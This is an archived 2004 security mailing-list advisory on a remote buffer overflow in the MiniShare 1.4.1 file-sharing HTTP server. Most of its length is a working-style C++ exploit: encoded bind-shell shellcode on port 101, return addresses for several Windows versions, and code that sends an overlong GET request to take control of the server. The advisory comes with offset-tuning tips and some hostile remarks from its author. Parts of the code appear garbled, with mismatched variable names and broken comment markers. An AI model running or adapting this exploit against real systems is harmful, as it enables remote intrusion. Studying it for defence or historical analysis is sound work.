

[EXPL] MiniShare GET Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0030.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/09/04

To: list@securiteam.com

Date: 9 Nov 2004 19:09:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MiniShare GET Buffer Overflow

SUMMARY

<<http://minishare.sourceforge.net/>> MiniShare is meant to serve anyone who has the need to share files to anyone, doesn't have a place to store the files on the web, and does not want or simply does not have the skill and possibility to set up and maintain a complete HTTP-server software.

A vulnerability in the way MiniShare handles arbitrarily long GET requests allows a remote attacker to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

* MiniShare version 1.4.1 and prior

Exploit:

/*

MiniShare <= 1.4.1, Remote Buffer Overflow Exploit v0.1.

Bind a shellcode to the port 101.

Full disclosure and exploit

by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet

Securiteam: [EXPL] MiniShare GET Buffer Overflow

07 november 2004

Thanx to HDMoore and Metasploit.com for their kickass ASM work.

WHAT IS MINISHARE

Homepage – <http://minishare.sourceforge.net/>

MiniShare is meant to serve anyone who has the need to share files to anyone,
doesn't have a place to store the files on the web,
and does not want or simply does not have the skill
and possibility to set up and maintain a complete HTTP-server software...

VULNERABILITY

A simple buffer overflow in the link length, nothing more
read the code for further instructions.

FIX

Actually none, the vendor is contacted the same day published, 1 hour before you.

As a nice fuck to NGSS , iDEFENSE and all others private disclosures
homo crew ainsi que K-OTiK, ki se tap' des keu dans leur "Lab"
lol :->

EXTRA

Update the JMP ESP if you need. A wrong offset will crash minishare.
Code tested working on MiniShare 1.4.1 and WinXP SP1 English, Win2k SP4 English, WinNT SP6 English

Others MiniShare's versions aren't tested.

Tip: If it crashes for you , try to play with Sleep()...

BY

class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
who
greetz
DiabloHorn [at] www.kd-team.com [&] #kd-team [at] EFnet
*/
#include "winsock2.h"
#include "fstream.h"
#pragma comment(lib, "ws2_32")
//380 bytes, BIND shellcode port 101, XORed 0x88, thanx HDMoore.
char socode[] =
"\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"

Securiteam: [EXPL] MiniShare GET Buffer Overflow

```
"\x77\x74\xb9\x48\x24\xb0\x68\xfc\x8f\x49\x47\x85\x89\x4f\x63\x7a\xb3\xf4\xac\x9c"  
"\xfd\x69\x03\xd2\xac\x89\x63\xee\x03\x84\xc3\x03\xd2\x94\x89\x63\x03\x8c\x03\x89"  
"\x60\x63\x8a\xb9\x48\xd7\xd6\xd5\xd3\x4a\x80\x88\xd6\xe2\xb8\xd1\xec\x03\x91\x03"  
"\xd3\x84\x03\xd3\x94\x03\x93\x03\xd3\x80\xdb\xe0\x06\xc6\x86\x64\x77\x5e\x01\x4f"  
"\x09\x64\x88\x89\x88\x88\xdf\xde\xdb\x01\x6d\x60\xaf\x88\x88\x88\x18\x89\x88\x88"  
"\x3e\x91\x90\x6f\x2c\x91\xf8\x61\x6d\xc1\x0e\xc1\x2c\x92\xf8\x4f\x2c\x25\xa6\x61"  
"\x51\x81\x7d\x25\x43\x65\x74\xb3\xdf\xdb\xba\xd7\xbb\xba\x88\xd3\x05\xc3\xa8\xd9"  
"\x77\x5f\x01\x57\x01\x4b\x05\xfd\x9c\xe2\x8f\xd1\xd9\xdb\x77\xbc\x07\x77\xdd\x8c"  
"\xd1\x01\x8c\x06\x6a\x7a\xa3\xaf\xdc\x77\xbf\x77\xdd\xb8\xb9\x48\xd8\xd8\xd8"  
"\xc8\xd8\xc8\xd8\x77\xdd\xa4\x01\x4f\xb9\x53\xdb\xdb\xe0\x8a\x88\x88\xed\x01\x68"  
"\xe2\x98\xd8\xdf\x77\xdd\xac\xdb\xdf\x77\xdd\xa0\xdb\xdc\xdf\x77\xdd\xa8\x01\x4f"  
"\xe0\xcb\xc5\xcc\x88\x01\x6b\x0f\x72\xb9\x48\x05\xf4\xac\x24\xe2\x9d\xd1\x7b\x23"  
"\x0f\x72\x09\x64\xdc\x88\x88\x88\x4e\xcc\xac\x98\xcc\xee\x4f\xcc\xac\xb4\x89\x89"  
"\x01\xf4\xac\xc0\x01\xf4\xac\xc4\x01\xf4\xac\xd8\x05\xcc\xac\x98\xdc\xd8\xd9\xd9"  
"\xd9\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09"  
"\x58\x01\x6e\x77\xfd\x88\xe0\x25\x51\x8d\x46\x77\xdd\x8c\x01\x4b\xe0\x77\x77\x77"  
"\x77\x77\xbe\x77\x5b\x77\xfd\x88\xe0\xf6\x50\x6a\xfb\x77\xdd\x8c\xb9\x53\xdb\x77"  
"\x58\x68\x61\x63\x6b\x90";  
/*  
//116 bytes, execute regedit.exe, XORed 0x88, hardcoded WinXP SP1 English  
char scode+[] =  
"\xeb"  
"\x0f\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6b\x75\xf4\xeb\x05\xe8\xec\xff\xff"  
"\xff\xdd\x01\x6d\x09\x64\xc4\x88\x88\x88\xdb\x05\xf5\x3c\x4e\xcd\x7c\xfa\x4e\xcd"  
"\x7d\xed\x4e\xcd\x7e\xef\x4e\xcd\x7f\xed\x4e\xcd\x70\xec\x4e\xcd\x71\xe1\x4e\xcd"  
"\x72\xfc\x4e\xcd\x73\xa6\x4e\xcd\x74\xed\x4e\xcd\x75\xf0\x4e\xcd\x76\xed\x4e\xcd"  
"\x77\x88\xe0\x8d\x88\x88\x88\x05\xcd\x7c\xd8\x30\xe8\x75\x6e\xff\x77\x58\xe0\x89"  
"\x88\x88\x88\x30\xeb\x10\xf6\xff\x77\x58\x68\x61\x63\x6b\x90";  
//565 bytes, execute regedit.exe, alphanumeric, hardcoded WinXP SP1  
English  
char scode+[]=  
"LLLLYhbSgCX5bSgCHQVPPTQPPaRVVUSBRDJfh2ADTY09VQa0tkafhXmfXf1Dkbf1TkbjgY0Lkd0TkdfhH"  
"CfYf1LkfjiY0Lkh0tkjjoX0Dkkf1Tk1jxY0Lko0Tko0TkqjY0Lks0tks0Tkuj1Y0Lkw0tkw0tkyCjyY0"  
"Lkz0TkzCC0tkzCCjmY0Lkz0TkzCC0TkzCCjhX0Dkz0tkzCC0tkzCCjPX0Dkz0TkzCC0tkzCCjfyY0Lkz0T"  
"kzCjY0DkzC0TkzCCjeX0Dkz0tkzCC0TkzCCjvX0Dkz0tkzCC0TkzCCj3X0Dkz0tkzCC0tkzCCjOX0Dkz"  
"0tkzCjaX0DkzCChuucTX1DkzCCCC0tkzCCjaY0Lkz0TkzCC0tkzCjRY0LkzCfhNUfXf1DkzCf1TkzCCCfh"  
"hhfYf1Lkzf1TkzCCChS4ciX1DkzCCCC0TkzCC0tkzCjKY0Lkz0TkzCCfhzhfXf1DkzUvB3tLHCiS"  
"r2K9Esr9Ele9E8g9Ege9Ejd9Eni9EUt9EbD9Efe9Etx9E2e9E0ahpucTrEjPG2LLwhGhR4ciGcgSwzG";  
/*  
static char payload[5000];  
char espxpplen[]="\x33\x55\xdc\x77"; //JMP ESP - user32.dll - WinXP SP1  
English  
char esp2k4en[]="\xb8\x9e\xe3\x77"; //JMP ESP - user32.dll - Win2k SP4  
English  
char espnt6en[]="\xf8\x29\xf3\x77"; //JMP ESP - kernel32.dll - WinNT SP6  
English  
void usage(char* us);  
WSADATA wsadata;  
void ver();  
int main(int argc,char *argv[])  
{  
    ver();  
    if  
    ((argc<3)|| (argc>4)|| (atoi(argv[1])<1)|| (atoi(argv[1])>2)){usage(argv[0]);return -1;}  
    if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error:  
"<<WSAGetLastError()<<endl;return -1;}  
    int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, sizeB, sizeC, a, b, c;  
    char *target, *os;  
    if (argc==4){port=atoi(argv[3]);}  
    else port=80;  
    if (atoi(argv[1]) == 1){target=espxplen;os="WinXP SP1 English";}  
    if (atoi(argv[1]) == 2){target=esp2k4en;os="Win2k SP4 English";}  
}
```

Securiteam: [EXPL] MiniShare GET Buffer Overflow

```
if (atoi(argv[1]) == 3){target=espnt6en;os="WinNT SP6 English";}
SOCKET s;
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==INVALID_SOCKET){ cout<<"[+] socket() error:
"<<WSAGetLastError()<<endl;WSACleanup();return -1;}
cout<<"[+] target: "<<os<<endl;
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
WSAConnect(s,(struct sockaddr
*)&server,sizeof(server),NULL,NULL,NULL,NULL);
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {cout<<"[+] select() error:
"<<WSAGetLastError()<<endl; closesocket(s);return -1;}
case 0: {cout<<"[+] connection failed."<<endl; closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
cout<<"[+] connected, constructing the payload..."<<endl;
Sleep(1000);
sizeA=1787;
sizeB=414-sizeof(scode);
sizeC=10;
sz=sizeA+sizeB+sizeC+sizeof(scode)+17;
memset(payload,0,sizeof(payload));
strcat(payload,"GET ");
for (a=0;a<sizeA;a++){strcat(payload,"\\x41");}
strcat(payload,target);
for (b=0;b<sizeB;b++){strcat(payload,"\\x41");}
strcat(payload,scode);
for (c=0;c<sizeC;c++){strcat(payload,"\\x41");}
strcat(payload," HTTP/1.1\\r\\n\\r\\n");
Sleep(1000);
if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+]
sending error, the server proolly rebooted."<<endl;return -1;}
Sleep(1000);
cout<<"[+] size of payload: "<<sz<<endl;
cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
return 0;
}
}
closesocket(s);
WSACleanup();
return 0;
}
}
void usage(char* us)
{
cout<<"USAGE: 101_mini.exe Target Ip Port\\n"<<endl;
cout<<"TARGETS: "<<endl;
cout<<" [ + ] 1. WinXP SP1 English (*)"<<endl;
cout<<" [ + ] 2. Win2k SP4 English (*)"<<endl;
cout<<" [ + ] 3. WinNT SP6 English (*)"<<endl;
cout<<"NOTE: "<<endl;
cout<<" The port 80 is default if no port specified"<<endl;
cout<<" The exploit bind a shellcode to the port 101"<<endl;
cout<<" A wildcard (*) mean Tested."<<endl;
return;
}
```

Securiteam: [EXPL] MiniShare GET Buffer Overflow

```
}  
void ver()  
{  
cout<<endl;  
cout<<" "<<endl;  
cout<<"  
=====[v0.1]====<<endl;  
cout<<" ====MiniShare, Minimal HTTP Server for Windows <=  
v1.4.1====<<endl;  
cout<<" =====Remote Buffer Overflow  
Exploit=====<<endl;  
cout<<" ====coded by class101=====[DFind.kd-team.com  
2004]=====<<endl;  
cout<<"  
=====<<endl;  
cout<<" "<<endl;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:class101@phreaker.net>> class
101.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,